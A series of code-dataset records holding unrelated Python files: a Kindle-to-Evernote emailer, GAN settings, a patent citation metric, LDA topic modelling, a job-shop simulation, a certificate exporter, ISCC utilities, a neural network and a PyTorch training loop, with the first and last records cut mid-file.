\\n';\n\n collect = 0\n is_title = 1\n highlight = 0\n notenote = 0\n continue\n else:\n # ASSERT: collecting lines for the current title/date\n if (collect == 1):\n if (note_type == \"Markierung\" and highlight == 0):\n title_notes[\n title] += '

' + line + '\\n'\n highlight = 1\n elif (note_type == \"Notiz\" and notenote == 0):\n title_notes[\n title] += '

' + line + '\\n'\n notenote = 1\n else:\n title_notes[title] += line + '\\n'\n\n # Email to Evernote\n\n msg_count = 0\n for title, note in title_notes.items():\n # INV: Do this for each title update we have\n\n\n # Package as an HTML email message so that we get the formatting in the note\n msg = MIMEMultipart('alternative')\n part1 = MIMEText(note, 'html')\n #part1 = MIMEText(note.encode('ascii', 'ignore'), 'html')\n msg.attach(part1)\n\n subject = str(title)\n #subject = title.encode('ascii', 'ignore')\n\n # Add notebook from config file, if it exists and is set\n notebook = config.get('NOTEBOOK', '')\n if notebook != '':\n subject += \" @\" + notebook\n\n # The space-+ at the end of the subject tells Evernote to append this to the most\n # recent note with the same title, or create a new note if the title does not exist\n subject += ' +'\n msg['Subject'] = subject\n\n # Address the message\n msg['From'] = config['GMAIL_USERNAME']\n msg['To'] = config['EN_ADDRESS']\n msg = msg.as_string()\n\n # Send the message\n try:\n smtplib.SMTP.set_debuglevel=1\n session = smtplib.SMTP(config['GMAIL_SERVER'], 587)\n #session.ehlo()\n session.starttls()\n session.login(config['GMAIL_USERNAME'], config['GMAIL_PASS'])\n session.sendmail(config['GMAIL_USERNAME'], config['EN_ADDRESS'], msg)\n except:\n pass\n else:\n if (verbose == 1):\n print(' Notes updated for ' + str(title))\n msg_count = msg_count + 1\n session.quit()\n\n # Update semaphore file\n f = open(SEMAPHORE, 'w')\n print(update_time.strftime(\"%Y-%m-%d %H:%M:%S\"), file=f)\n f.close()\n\n if (verbose == 1):\n print('Finished parsing clippings file. Updated ' + str(msg_count) + ' notes in Evernote.')\n print('Be sure to sync Evernote with the server to see your updates.')\n\n\nif __name__ == \"__main__\":\n main(sys.argv[1:])\n","sub_path":"kindle2en.py","file_name":"kindle2en.py","file_ext":"py","file_size_in_byte":9534,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"493549649","text":"# image input params\nBATCH_SIZE = 1\nIMG_HEIGHT = 500\nIMG_WIDTH = 500\nIMG_CHANNELS = 1\nIMG_SIZE = IMG_HEIGHT * IMG_WIDTH\n\n\nDO_FLIPPING = 1\nPOOL_SIZE = 50\nNGF = 32\nNDF = 64\n\n# pre-processing parameters\nGRAY_LEVELS = 255\nOFF_LEVEL = 0\n\n\n# Training parameters\nMAX_IMAGES = 400\nMAX_STEP = 200\nBASE_LR = 0.0002\n\n# model and losses\nNET_VERSION = 'tensorflow'\nDATA_NAME = 'cxr8'\n\nSKIP = False\nLAMBDA_A = 10.0\nLAMBDA_B = 10.0\n\n\n# data paths\nPATH_A = \"/home/sandra/project_GANs/project_GANs_data_mining/cxr8/images_001/images/*.png\"\nPATH_B = \"/home/sandra/project_GANs/project_GANs_data_mining/cxr8/images_002/images/*.png\"","sub_path":"data_mining_cxr8_hdf5/DTN_GAN_on_cxr8_hdf5/DTN_parameters.py","file_name":"DTN_parameters.py","file_ext":"py","file_size_in_byte":615,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"356026539","text":"# measure 'door-openingness' in patents. \nfrom pymongo import MongoClient\nfrom jmAlife.dbManage.parallelMap import parallelMap\nimport logging\n\n\nDB = MongoClient().patents\n\ndef tfidf_dist(traits_a, traits_b):\n \"\"\"\n measures the 'distance' between two sets of tfidf traits.\n Both are assummed to be lists of strings.\n As these correspond to a dense binary trait vector, the set intersection\n of the two lists is equal to the hamming distance. \n \"\"\"\n return 20 - 2*len(list(set(traits_a).intersection(set(traits_b))))\n\ndef first_order_trait_distance(parent_pno, trait='tf-idf'):\n \"\"\"\n Compute the sum and average pairwise trait distance between\n the parent and its children. \n \"\"\"\n trait_info = {'tf-idf': ('top_tf-idf', tfidf_dist)} # Later, we will support other traits.\n assert(trait=='tf-idf')\n trait_field,dist_func = trait_info[trait]\n sum_fieldname = '_'.join(['fotd_sum', trait])\n avg_fieldname = '_'.join(['fotd_avg', trait])\n parent = DB.cite_net.find_one({'_id': parent_pno},{'citedby': 1, trait_field:1})\n stats = {}\n door_openingness = 0\n n_children_with_traits = 0\n if trait_field not in parent:\n logging.warning('No trait field in patent {}.'.format(parent_pno))\n return None # Is this the best null value to return?\n if parent['citedby'] is None:\n stats[sum_fieldname] = 0\n stats[avg_fieldname] = 0\n return stats\n # For each child, measure the distance between its traits and the parent's traits.\n # Keep a running total in door_openingness. \n for child_pno in parent['citedby']:\n child = DB.cite_net.find_one({'_id': child_pno}, {trait_field:1})\n if trait_field not in child:\n logging.warning('No trait field in patent {}.'.format(child_pno))\n continue\n else:\n door_openingness += dist_func(parent[trait_field], child[trait_field])\n n_children_with_traits += 1\n stats[sum_fieldname] = door_openingness\n # The average fotd is the total divided by the number of children (with traits)\n if n_children_with_traits == 0:\n stats[sum_fieldname] = -1\n stats[avg_fieldname] = -1\n return stats\n stats[avg_fieldname] = float(door_openingness)/n_children_with_traits \n return stats\n\ndef compute_tfidf_do():\n def one_tfidf_do(doc):\n return {'$set': first_order_trait_distance(doc['_id'], 'tf-idf')}\n parallelMap(one_tfidf_do,\n in_collection = DB.cite_net,\n out_collection = DB.cite_net,\n findArgs = {\n 'spec': {\n 'top_tf-idf': {'$exists': True},\n 'citedby': {'$exists': True}\n },\n 'fields':{\n 'top_tf-idf': 1, 'citedby':1, '_id': 1\n }\n },\n updateFreq = 500,\n bSize = 1000)\n\nif __name__ == '__main__':\n compute_tfidf_do()\n \n \n \n \n \n\n","sub_path":"scripts/dbManage_scripts/dooropening.py","file_name":"dooropening.py","file_ext":"py","file_size_in_byte":3023,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"219379253","text":"import pyLDAvis.gensim\nfrom gensim import corpora\nimport pickle\nimport gensim\nimport spacy\nfrom spacy.lang.en import English\nimport nltk\n#nltk.download('wordnet')\nfrom nltk.corpus import wordnet as wn\nfrom nltk.stem.wordnet import WordNetLemmatizer\nimport pandas as pd\nimport numpy as np\n\ndef tokenize(text):\n parser = English()\n lda_tokens = []\n tokens = parser(text)\n for token in tokens:\n if token.orth_.isspace():\n continue\n elif token.like_url:\n lda_tokens.append('URL')\n elif token.orth_.startswith('@'):\n lda_tokens.append('SCREEN_NAME')\n else:\n lda_tokens.append(token.lower_)\n return lda_tokens\n\n\ndef get_lemma(word):\n lemma = wn.morphy(word)\n if lemma is None:\n return word\n else:\n return lemma\n\n#nltk.download('stopwords')\n\n\ndef prepare_text_for_lda(text):\n en_stop = set(nltk.corpus.stopwords.words('english'))\n tokens = tokenize(text)\n tokens = [token for token in tokens if len(token) > 4] #discard short words\n tokens = [token for token in tokens if token not in en_stop] #remove if stop word\n tokens = [get_lemma(token) for token in tokens] #lemmatize each word\n return tokens\n\n\n#ds = pd.read_csv('test_text3.csv')['0']\n\ndef retrieve_tokens(ds):\n text_data = []\n for article in ds:\n tokens = prepare_text_for_lda(article)\n text_data.append(tokens)\n return text_data\n\ndef set_dict(text_data):\n dictionary = corpora.Dictionary(text_data)\n corpus = [dictionary.doc2bow(_text) for _text in text_data]\n return dictionary\n\ndef set_corpus(text_data, dictionary):\n corpus = [dictionary.doc2bow(_text) for _text in text_data]\n return corpus\n\n#NUM_TOPICS = 5 #self.num_topics # arbitrary\n\ndef run_lda(corpus, dictionary, ds):\n ldamodel = gensim.models.ldamodel.LdaModel(corpus, num_topics = 5, id2word=dictionary, passes=15)\n dom_topic = np.argmax([sum([ldamodel.show_topic(i)[x][1] for x in range(len(ldamodel.show_topic(i)))]) for i in range(5)])\n top5_prevalent_words = [i[0] for i in ldamodel.show_topic(dom_topic)[:5]]\n relevant_sentences = []\n for article in ds:\n split_sentences = article.lower().split('.')\n for sentence in split_sentences:\n words_in_sentence = sentence.split(' ')\n for word in words_in_sentence:\n if word in top5_prevalent_words:\n relevant_sentences.append(sentence+'.')\n break\n gpt2_input = ' '.join(relevant_sentences)\n return ldamodel, dom_topic, gpt2_input\n\ndef show_lda(ldamodel):\n lda_display = pyLDAvis.gensim.prepare(ldamodel, corpus, dictionary, sort_topics=False)\n pyLDAvis.show(lda_display)\n","sub_path":"huginn/_lda.py","file_name":"_lda.py","file_ext":"py","file_size_in_byte":2718,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"654179141","text":"import salabim as sim\n\n\nclass AnimateMachineBox(sim.Animate):\n def __init__(self, machine):\n self.machine = machine\n x = groups.index(machine.group) * 70 + 100\n y = env.height() - 140 - (machine.group.machines.index(machine) * 15)\n sim.Animate.__init__(self, x0=x, y0=y, rectangle0=(0, 0, 60, 12), fillcolor0='red')\n\n def fillcolor(self, t):\n return self.machine.task.group.color if self.machine.task else 'bg'\n\n\nclass AnimateMachineText(sim.Animate):\n def __init__(self, machine):\n self.machine = machine\n x = groups.index(machine.group) * 70 + 100 + 2\n y = env.height() - 140 - (machine.group.machines.index(machine) * 15)\n sim.Animate.__init__(self, x0=x, y0=y + 2, anchor='sw',\n text=str(machine.group.machines.index(machine)), textcolor0='white', fontsize0=12)\n\n def text(self, t):\n return self.machine.task.name() if self.machine.task else ''\n\n\ndef animation_pre_tick(self, t):\n for i, job in enumerate(plant):\n y = env.y_top - 45 - i * 15\n x = 200\n slack = job.slack_t(t)\n for task in job.tasks:\n duration = task.duration\n color = task.group.color\n if task.start_execution is None:\n color = (color, 80)\n else:\n duration -= (t - task.start_execution)\n len = duration * scale_x\n\n task.an_bar.update(rectangle0=(0, 0, len, 12), x0=x, y0=y, fillcolor0=color, linewidth0=0)\n x += len\n job.an_due.update(x0=x + slack * scale_x, y0=y)\n\n if job.tasks.head().start_execution is None:\n job.an_execute_text.update(text='', y0=y)\n job.an_execute_bar.update(fillcolor0='', y0=y)\n else:\n task = job.tasks.head()\n job.an_execute_text.update(text=task.machine.name(), y0=y)\n job.an_execute_bar.update(fillcolor0=task.group.color, y0=y)\n slack = job.slack_t(t)\n job.an_slack.update(y0=y, text='{:7.2f}'.format(slack), textcolor0=('red' if slack < 0 else 'fg'))\n job.an_label.update(y0=y)\n\n\ndef animation():\n env.animation_parameters(synced=False, modelname='Job shop', background_color='20%gray')\n sim.Environment.animation_pre_tick = animation_pre_tick\n\n max_len = 0\n for i, group in enumerate(groups):\n x = i * 70 + 100 + 2\n y = env.height() - 140 + 20\n sim.Animate(text=group.name(), x0=x, y0=y, anchor='sw', fontsize0=12)\n for machine in group.machines:\n AnimateMachineBox(machine=machine)\n AnimateMachineText(machine=machine)\n max_len = max(max_len, len(group.machines))\n env.y_top = y - max_len * 15 - 15\n sim.Animate(line0=(0, env.y_top, 2000, env.y_top))\n sim.Animate(text='job', x0=50, y0=env.y_top - 15, anchor='ne', fontsize0=12)\n sim.Animate(text='slack', x0=90, y0=env.y_top - 15, anchor='ne', fontsize0=12)\n# sim.Animate(text='in execution', x0=100, y0=env.y_top - 15, anchor='nw', fontsize0=12)\n# sim.Animate(text='waiting for execution -->', x0=200, y0=env.y_top - 15, anchor='nw', fontsize0=12)\n\n\nclass Group(sim.Component):\n def setup(self, job_select_method, fraction, number_of_machines, color):\n if job_select_method.lower() == 'fifo':\n self.job_select = self.job_select_fifo\n elif job_select_method.lower() == 'min_slack':\n self.job_select = self.job_select_min_slack\n else:\n raise AssertionError('wrong selection_method:', job_select_method)\n self.machines = [Machine(group=self, name=self.name() + '.') for _ in range(number_of_machines)]\n\n self.fraction = fraction\n self.color = color\n self.jobs = sim.Queue(self.name() + '.jobs')\n self.idle_machines = sim.Queue(self.name() + '.idle_machines')\n\n def job_select_fifo(self):\n return self.jobs.head()\n\n def job_select_min_slack(self):\n return min(self.jobs, key=lambda job: job.slack_t(env.now()))\n\n\nclass Machine(sim.Component):\n def setup(self, group):\n self.group = group\n self.task = None\n\n def process(self):\n while True:\n self.task = None\n self.enter(self.group.idle_machines)\n while not self.group.jobs: # use while instead of if, to avoid any problems with multiple activates\n yield self.passivate()\n self.leave(self.group.idle_machines)\n job = self.group.job_select()\n job.slack -= (env.now() - job.enter_time(self.group.jobs))\n job.leave(self.group.jobs)\n self.task = job.tasks.head()\n self.task.machine = self\n self.task.start_execution = env.now()\n yield self.hold(self.task.duration)\n self.task.leave(job.tasks)\n self.task.an_bar.remove()\n\n if job.tasks:\n task1 = job.tasks.head()\n job.enter(task1.group.jobs)\n if task1.group.idle_machines:\n task1.group.idle_machines.head().activate()\n else:\n job.leave(plant)\n job.an_slack.remove()\n job.an_label.remove()\n job.an_execute_text.remove()\n job.an_execute_bar.remove()\n job.an_due.remove()\n\n\nclass JobGenerator(sim.Component):\n def setup(self, inter_arrival_time_dist, number_of_tasks_dist, group_dist, duration_dist):\n self.inter_arrival_time_dist = sim.Exponential(8)\n self.number_of_tasks_dist = sim.IntUniform(1, 9)\n self.group_dist = group_dist\n self.duration_dist = duration_dist\n\n def process(self):\n while True:\n yield self.hold(self.inter_arrival_time_dist())\n Job(job_generator=self)\n\n\nclass Job(sim.Component):\n def setup(self, job_generator):\n self.tasks = sim.Queue(fill=[Task(job_generator=job_generator, job=self,\n name='Task ' + str(self.sequence_number()) + '.')\n for _ in range(job_generator.number_of_tasks_dist())], name='tasks.')\n self.task_in_execution = sim.Queue(name='task_in_execution.')\n self.slack = start_slack\n self.an_slack = sim.Animate(x0=90, text='', fontsize0=12, anchor='se')\n self.an_label = sim.Animate(x0=50, text=str(self.sequence_number()), fontsize0=12, anchor='se')\n self.an_execute_bar = sim.Animate(x0=100, rectangle0=(0, 0, 70, 12))\n self.an_execute_text = sim.Animate(\n x0=100, text='', fontsize0=12, anchor='sw', textcolor0='white', offsetx0=2, offsety0=1)\n self.an_due = sim.Animate(line0=(0, -1, 0, 13))\n self.enter(self.tasks[0].group.jobs)\n if self.tasks.head().group.idle_machines:\n self.tasks.head().group.idle_machines.head().activate()\n self.enter(plant)\n\n def slack_t(self, t):\n task1 = self.tasks.head()\n\n if self in task1.group.jobs:\n return self.slack - (t - self.enter_time(task1.group.jobs))\n else:\n return self.slack\n\n\nclass Task(sim.Component):\n def setup(self, job_generator, job):\n self.group = job_generator.group_dist()\n self.duration = job_generator.duration_dist()\n self.start_execution = None\n self.an_bar = sim.Animate(rectangle0=(0, 0, 0, 0))\n\n\nsim.reset()\nenv = sim.Environment(trace=False)\n\ngroups = []\nwith sim.ItemFile('job shop.txt') as f:\n job_select_method = f.read_item()\n\n while True:\n name = f.read_item()\n if name == '//':\n break\n number_of_machines = f.read_item_int()\n fraction = f.read_item_float()\n color = f.read_item()\n groups.append(Group(name=name, job_select_method=job_select_method,\n fraction=fraction, number_of_machines=number_of_machines, color=color))\n\n duration_dist = sim.Distribution(f.read_item())\n inter_arrival_time_dist = sim.Distribution(f.read_item())\n number_of_tasks_dist = sim.Distribution(f.read_item())\n start_slack = f.read_item_float()\n\nplant = sim.Queue('plant')\n\ngroup_dist = sim.Pdf(groups, probabilities=[group.fraction for group in groups])\n\nJobGenerator(inter_arrival_time_dist=inter_arrival_time_dist, number_of_tasks_dist=number_of_tasks_dist,\n group_dist=group_dist, duration_dist=duration_dist)\n\nscale_x = 1\n\nanimation()\nenv.run(100000)\n\nplant.print_statistics()\nplant.print_info()\n","sub_path":"job shop animated.py","file_name":"job shop animated.py","file_ext":"py","file_size_in_byte":8372,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"352160736","text":"import matplotlib.pyplot as plt\nimport numpy as np\n\ndat = np.loadtxt('output/explanatory02_cl.dat',unpack=True)\n\nfig = plt.figure(figsize=(10,10))\nax = fig.add_subplot(111)\n\nl = np.copy(dat[0])\n#ax.plot(dat[0],dat[4]/(l*(l+1.)),label='EE')\n#ax.plot(dat[0],dat[8]/(l*(l+1.)),label='TB',linestyle='--')\n#ax.plot(dat[0],dat[9]/(l*(l+1.)),label='EB',linestyle='-.')\n\nfor i,d in enumerate(dat[1:]):\n ax.plot(l,d/(l*(l+1.)),label='%d'%i)\n\nax.legend()\nax.set_yscale('log')\nplt.show()\n","sub_path":"plotting.py","file_name":"plotting.py","file_ext":"py","file_size_in_byte":480,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"113031683","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n#\n# Copyright (c) 2012-2018 Snowflake Computing Inc. All right reserved.\n#\nimport logging\nimport sys\nfrom logging import getLogger\nfrom os import path\n\nfrom snowflake.connector.compat import (urlsplit)\n\nfor logger_name in ['__main__', 'snowflake']:\n logger = logging.getLogger(logger_name)\n logger.setLevel(logging.INFO)\n ch = logging.StreamHandler()\n ch.setLevel(logging.INFO)\n ch.setFormatter(logging.Formatter('%(message)s'))\n logger.addHandler(ch)\n\nlogger = getLogger(__name__)\n\nfrom snowflake.connector.ocsp_asn1crypto import (_openssl_connect)\n\n\ndef main():\n from OpenSSL.crypto import dump_certificate, FILETYPE_PEM\n\n def help():\n print(\"Export certificate on the URL\")\n print(\"\"\"\n Usage: {0} \n \"\"\".format(path.basename(sys.argv[0])))\n sys.exit(2)\n\n if len(sys.argv) < 2:\n help()\n\n input_url = sys.argv[1]\n parsed_url = urlsplit(input_url)\n connection = _openssl_connect(parsed_url.hostname, parsed_url.port or 443)\n for cert_openssl in connection.get_peer_cert_chain():\n cert_pem = dump_certificate(FILETYPE_PEM, cert_openssl)\n print(cert_pem.decode('utf-8'))\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"tool/export_certs.py","file_name":"export_certs.py","file_ext":"py","file_size_in_byte":1247,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"429293099","text":"# -*- coding: utf-8 -*-\nimport textwrap\nfrom os import getcwd, listdir, walk\nfrom os.path import isfile, splitext, isdir, join\nimport click\nimport iscc\n\nfrom iscc_cli.const import (\n SUPPORTED_EXTENSIONS,\n SUPPORTED_MIME_TYPES,\n ISCC_COMPONENT_CODES,\n)\n\n\ndef iter_files(root, exts=None, recursive=False):\n \"\"\"\n Iterate over file paths within root filtered by specified extensions.\n :param str root: Root folder to start collecting files\n :param iterable exts: Restrict results to given file extensions\n :param bool recursive: Wether to walk the complete directory tree\n :rtype collections.Iterable[str]: absolute file paths with given extensions\n \"\"\"\n\n if exts is not None:\n exts = set((x.lower() for x in exts))\n\n def matches(e):\n return (exts is None) or (e in exts)\n\n if recursive is False:\n for entry in listdir(root):\n ext = splitext(entry)[-1].lstrip(\".\").lower()\n if not isdir(entry) and matches(ext):\n yield join(root, entry)\n else:\n for root, folders, files in walk(root):\n for f in files:\n ext = splitext(f)[-1].lstrip(\".\").lower()\n if matches(ext):\n yield join(root, f)\n\n\ndef get_files(path, recursive=False):\n if path is None:\n path = getcwd()\n if isfile(path):\n return [path]\n return iter_files(path, exts=SUPPORTED_EXTENSIONS, recursive=recursive)\n\n\ndef mime_to_gmt(mime_type):\n entry = SUPPORTED_MIME_TYPES.get(mime_type)\n if entry:\n return entry[\"gmt\"]\n\n\ndef get_title(tika_result: dict, guess=False):\n title = \"\"\n\n meta = tika_result.get(\"metadata\")\n if meta:\n title = meta.get(\"dc:title\", \"\")\n if not title:\n title = meta.get(\"title\", \"\")\n\n if not title and guess:\n content = tika_result.get(\"content\")\n if content:\n title = content.strip().splitlines()[0]\n\n if isinstance(title, list):\n title = title[0]\n\n return title\n\n\nclass DefaultHelp(click.Command):\n def __init__(self, *args, **kwargs):\n context_settings = kwargs.setdefault(\"context_settings\", {})\n if \"help_option_names\" not in context_settings:\n context_settings[\"help_option_names\"] = [\"-h\", \"--help\"]\n self.help_flag = context_settings[\"help_option_names\"][0]\n super(DefaultHelp, self).__init__(*args, **kwargs)\n\n def parse_args(self, ctx, args):\n if not args:\n args = [self.help_flag]\n return super(DefaultHelp, self).parse_args(ctx, args)\n\n\ndef iscc_clean(i):\n \"\"\"Remove leading scheme and dashes\"\"\"\n return i.split(\":\")[-1].strip().replace(\"-\", \"\")\n\n\ndef iscc_verify(i):\n i = iscc_clean(i)\n for c in i:\n if c not in iscc.SYMBOLS:\n raise ValueError('Illegal character \"{}\" in ISCC Code'.format(c))\n for component_code in iscc_split(i):\n iscc_verify_component(component_code)\n\n\ndef iscc_verify_component(component_code):\n\n if not len(component_code) == 13:\n raise ValueError(\n \"Illegal component length {} for {}\".format(\n len(component_code), component_code\n )\n )\n\n header_code = component_code[:2]\n if header_code not in ISCC_COMPONENT_CODES.keys():\n raise ValueError(\"Illegal component header {}\".format(header_code))\n\n\ndef iscc_split(i):\n return textwrap.wrap(iscc_clean(i), 13)\n","sub_path":"iscc_cli/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":3422,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"496151245","text":"import numpy as np\nimport pandas as pd\n\nimport models.utils.activation_functions as af\n\n\nclass NeuralNetwork(object):\n \"\"\"Implements a neural network.\n\n A Forward feeding, backpropagation Artificial Neural Network.\n \"\"\"\n\n def __init__(self, model=None, X=None, y=None, classes=None, hidden_layer_size=None, lam=0.01,\n activation_func=None):\n \"\"\"Initiate Neural Network.\n\n Initiates a Neural Network with the provided parameters.\n\n Parameters\n ~~~~~~~~~~\n X : numpy.ndarray\n A matrix of training data.\n y : numpy.ndarray\n A vector of expected outputs.\n label_count : int\n The number of classes.\n hlayer_node_count : int\n The number of nodes in each hidden layer.\n lam : float\n The lambda value used for regularisation.\n activation_func : str\n The activation function to be used. (sigmoid/tanh)\n \"\"\"\n if (X is None or y is None or classes is None or hidden_layer_size is None) and model is None:\n raise RuntimeError('Please supply a model or initialisation parameters')\n\n if model is None:\n self.X = X\n self.y = pd.get_dummies(y).as_matrix()\n self.label_count = classes\n self.hidden_layer_size = hidden_layer_size\n self.lam = lam\n\n if activation_func == 'sigmoid' or activation_func is None:\n self.activation_func = af.sigmoid\n self.gradient_func = af.d_sigmoid\n elif activation_func == 'tanh':\n self.activation_func = af.tanh\n self.gradient_func = af.d_tanh\n\n self.m, self.input_layer_size = X.shape # m training examples, how many nodes in the input layer\n self.costs = [] # A list of costs accumulated during training.\n self.adaptive = 0 # The value used in adaptive learning.\n self.prev_theta1_delta = 0 # The previous value of theta1_delta during training.\n self.prev_theta2_delta = 0 # The previous value of theta2_delta during training.\n\n self._init_epsilon()\n self._init_weights()\n else:\n self.theta1 = model['theta1']\n self.theta2 = model['theta2']\n self.activation_func = model['activation_func']\n\n def _init_epsilon(self):\n \"\"\"Initialise the value of epsilon.\n\n Initialise the value of epsilon to be\n sqrt(6)/(sqrt(input_nodes) + sqrt(output_nodes)).\n \"\"\"\n self.epsilon = (np.sqrt(6)) / (np.sqrt(self.input_layer_size) +\n np.sqrt(self.label_count))\n\n def _init_weights(self):\n \"\"\"Initialise the Network's weights.\n\n Initialise weights of input layer and each hidden layer to random\n values between negative epsilon and epsilon.\n \"\"\"\n # Input layer to first hidden layer weights.\n self.theta1 = np.random.uniform(\n low=-self.epsilon,\n high=self.epsilon,\n size=(self.hidden_layer_size, (self.input_layer_size + 1))\n )\n\n # Hidden layer to output layer weights.\n self.theta2 = np.random.uniform(\n low=-self.epsilon,\n high=self.epsilon,\n size=(self.label_count, (self.hidden_layer_size + 1))\n )\n\n def _forward_feed(self) -> np.ndarray:\n \"\"\"Propagate forward through the Network.\n\n Propagates forward through the network returning the output given by the output layer.\n \"\"\"\n self.a1 = np.insert(self.X, 0, 1, axis=1) # Add input layer with bias.\n\n self.z2 = self.theta1.dot(self.a1.T) # Calculate input to hidden layer.\n self.a2 = np.insert(self.activation_func(self.z2), 0, 1, axis=0) # Add hidden layer activation.\n\n self.z3 = self.theta2.dot(self.a2) # Calculate input to output layer.\n self.a3 = self.activation_func(self.z3) # Add output layer activation.\n\n return self.a3\n\n def _get_cost(self):\n \"\"\"Calculate the cost of the Network.\n\n Calculate the cost of the Network with current weights.\"\"\"\n\n # Normalise a3 with softmax if using hyperbolic tangent activation function.:w\n a3 = np.exp(self.a3) / self.a3.sum() if self.activation_func == af.tanh else self.a3\n\n J = (-1 / self.m) * np.sum(np.log(a3.T) * self.y + np.log(1 - a3).T * (1 - self.y))\n regulator = (self.lam / (2 * self.m)) * np.sum(np.square(self.theta1[:, 1:])) + np.sum(\n np.square(self.theta2[:, 1:]))\n J += regulator\n\n return J\n\n def _calculate_deltas(self):\n \"\"\"Work out delta values for each node.\n\n Calculates the error (delta) for each output and hidden layer node in the network.\n \"\"\"\n err3 = self.a3 - self.y.T # Calculate delta for output layer.\n err2 = self.theta2[:, 1:].T.dot(err3) * self.gradient_func(self.z2) # Calculate delta for hidden layer.\n\n self.delta2 = err2.dot(self.a1) / self.m + ((self.theta1 * self.lam) / self.m) # + regularisation\n self.delta3 = err3.dot(self.a2.T) / self.m + ((self.theta2 * self.lam) / self.m) # + regularisation\n\n return self.delta3\n\n def _update_weights(self, epoch, alpha, dec_amount):\n \"\"\"Update the network weights.\n\n Updates the weights of the network using adaptive online learning for a given epoch, learning rate and decrease\n constant.\n\n Parameters\n ~~~~~~~~~~\n epoch : int\n The current epoch in the training loop.\n alpha : float\n The learning rate.\n dec_amount : float\n The decrease constant used for adaptive learning.\n \"\"\"\n self.adaptive /= 1 + dec_amount * epoch\n\n theta1_delta = self.adaptive * self.delta2\n theta2_delta = self.adaptive * self.delta3\n\n self.theta1 -= theta1_delta + alpha * self.prev_theta1_delta\n self.theta2 -= theta2_delta + alpha * self.prev_theta2_delta\n\n self.prev_theta1_delta = theta1_delta\n self.prev_theta2_delta = theta2_delta\n\n def train(self, alpha=0.5, max_epochs=5000, adaptive=0.001, dec_amount=0.00001, print_cost=False):\n \"\"\"Train the Network.\n\n Trains the network using online learning.\n\n Parameters\n ~~~~~~~~~~\n alpha : float\n The learning rate.\n max_epochs : int\n The maximum number of epochs allowed.\n adaptive : float\n The value used in adaptive learning\n dec_amount : float\n The decrease constant used for adaptive learning.\n print_cost: bool\n Whether or not to print the networks cost after each epoch.\n \"\"\"\n self.adaptive = adaptive\n\n for i in range(max_epochs):\n self._forward_feed()\n self._calculate_deltas()\n self._update_weights(i, alpha, dec_amount)\n\n self.costs.append(self._get_cost())\n\n if print_cost:\n print(self.costs[i])\n\n model = {'theta1': self.theta1, 'theta2': self.theta2, 'activation_func': self.activation_func}\n\n return self.costs[-1], self.costs, model\n\n def predict(self, X):\n \"\"\"Make a prediction with a trained network.\n\n Make a prediction for a set of unseen data using the trained network.\n\n Parameters\n ~~~~~~~~~~\n X : numpy.ndarray\n The data to make a prediciton from.\n \"\"\"\n a1 = np.insert(X, 0, 1, axis=1) # Add input layer with bias.\n\n z2 = self.theta1.dot(a1.T) # Calculate input to hidden layer.\n a2 = np.insert(self.activation_func(z2), 0, 1, axis=0) # Add hidden layer activation.\n\n z3 = self.theta2.dot(a2) # Calculate input to output layer.\n prediction = np.argmax(z3, axis=0)\n\n return prediction\n","sub_path":"models/neural_network.py","file_name":"neural_network.py","file_ext":"py","file_size_in_byte":7863,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"76378280","text":"import torch\r\nimport collections\r\nimport torch.nn as nn\r\nfrom data_prepare import *\r\nimport torch.optim as optim\r\nfrom torchvision import datasets, models, transforms\r\n\r\nweights_file = \"./output_models/age_resnet_77_20191213_142153.pth\"\r\n\r\n\r\n\r\nmodel = torch.load(weights_file)\r\nprint(type(model))\r\n#class_num = model[\"fc.3.weight\"].shape[0]\r\nif isinstance(model, collections.OrderedDict):\r\n # define the network\r\n model_structure = models.resnet18(pretrained=False)\r\n\r\n fc_inputs = model_structure.fc.in_features\r\n model_structure.fc = nn.Sequential(\r\n nn.Linear(fc_inputs, 512),\r\n nn.ReLU(),\r\n nn.Dropout(0.5),\r\n nn.Linear(512, len(idx_and_class)), # Since 10 possible outputs\r\n nn.LogSoftmax(dim=1) # For using NLLLoss()\r\n )\r\n model_structure.load_state_dict(model) \r\n model = model_structure\r\n # Convert model to be used on device\r\n model = nn.DataParallel(model, device_ids = [0,1] )\r\n model = model.cuda(device = 0)\r\n\r\nelif isinstance(model, torch.nn.parallel.data_parallel.DataParallel):\r\n pass\r\n\r\n#print(type(model))\r\n\r\nloss_func = nn.NLLLoss(weight=class_weights.cuda(), reduction='sum')\r\n\r\noptimizer = optim.Adam(model.parameters())\r\n\r\n\r\n\r\n\r\n## model training #####################################\r\nepochs = 100\r\nstart_num = 50\r\nsave_dir = \"./output_models\"\r\nprefix = \"age_resnet\"\r\nsave_model = True\r\nsave_thre = 20\r\nsave_type = \"full_model\" #\"full_model\" # weights_only\r\n\r\n\r\nstart = time.time()\r\nhistory = []\r\nbest_acc = 0.0\r\n\r\ntrain_data_size = len(train_data_loader.dataset)\r\nvalid_data_size = len(valid_data_loader.dataset)\r\n\r\nfor epoch in range(start_num, epochs + 1):\r\n epoch_train_start = time.time()\r\n\r\n # Set to training mode\r\n model.train()\r\n\r\n # Loss and Accuracy within the epoch\r\n train_loss = 0.0\r\n train_acc = 0.0\r\n\r\n valid_loss = 0.0\r\n valid_acc = 0.0\r\n\r\n for i, (inputs, labels) in enumerate(train_data_loader):\r\n\r\n inputs = inputs.cuda(device = 0)\r\n labels = labels.cuda(device = 0)\r\n\r\n # Clean existing gradients\r\n optimizer.zero_grad()\r\n\r\n # Forward pass - compute outputs on input data using the model\r\n outputs = model(inputs)\r\n\r\n # Compute loss\r\n loss = loss_func(outputs, labels,)\r\n\r\n # Backpropagate the gradients\r\n loss.backward()\r\n\r\n # Update the 